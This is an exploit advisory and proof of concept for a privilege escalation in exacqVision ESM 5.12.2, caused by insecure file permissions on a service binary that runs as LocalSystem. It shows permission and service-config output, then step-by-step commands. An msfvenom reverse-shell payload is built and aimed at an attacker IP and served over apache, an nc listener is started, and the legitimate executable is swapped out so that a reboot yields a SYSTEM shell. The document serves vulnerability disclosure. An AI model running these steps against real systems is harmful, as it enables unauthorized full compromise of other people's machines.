exacqVision ESM 5.12.2 - Privilege Escalation

2019-02-14 22:05:09

# Exploit Title: exacqVision ESM 5.12.2 - Privilege Escalation
# Exploit Author: bzyo
# Twitter: @bzyo_
# Date: 2019-02-13
# Vulnerable Software:
# http://cdnpublic.exacq.com/5.12/exacqVisionEnterpriseSystemManager_5.12.2.150128_x86.exe
# Vendor Homepage: https://www.exacq.com
# Version: 5.12.2.150128
# Tested Windows 7 SP1 x86 and Windows 10 x64

# Description:
# exacqVision ESM 5.12.2 suffers from Privilege Escalation due to insecure file permissions

# Prerequisites
# Local, Low privilege access with restart capabilities

# Details
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.
# A low privilege account is able to rename the enterprisesystemmanager.exe file located in
# this same path and replace with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System. While a low privilege user is unable to restart the service
# through the application, a restart of the computer triggers the execution of the malicious file.

# note: during install, you cannot choose a folder containing spaces i.e. "program files"

C:\>icacls exacqVisionEsm
exacqVisionEsm NT AUTHORITY\NETWORK SERVICE:(RX)
win7-32bit\bob:(RX)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files


C:\>sc qc "exacqVision Enterprise System Manager Web Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: exacqVision Enterprise System Manager Web Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ESMWebService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

# Proof of Concept
1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.163 LPORT=443 -f exe > /var/www/html/enterprisesystemmanager.exe

2. Setup listener and ensure apache is running on attacking machine
nc -nlvvp 443
service apache2 start

3. Download malicious .exe on victim machine
Open browser to http://192.168.0.163/enterprisesystemmanager.exe and download

4. Rename C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe
enterprisesystemmanager.exe > enterprisesystemmanager.bak

5. Copy/Move downloaded enterprisesystemmanager.exe file to C:\exacqVisionEsm\EnterpriseSystemManager\

6. Restart victim machine and login as low privileged user

7. Reverse Shell on attacking machine opens
C:\Windows\system32>whoami
whoami
nt authority\system

Fixes

No fixes

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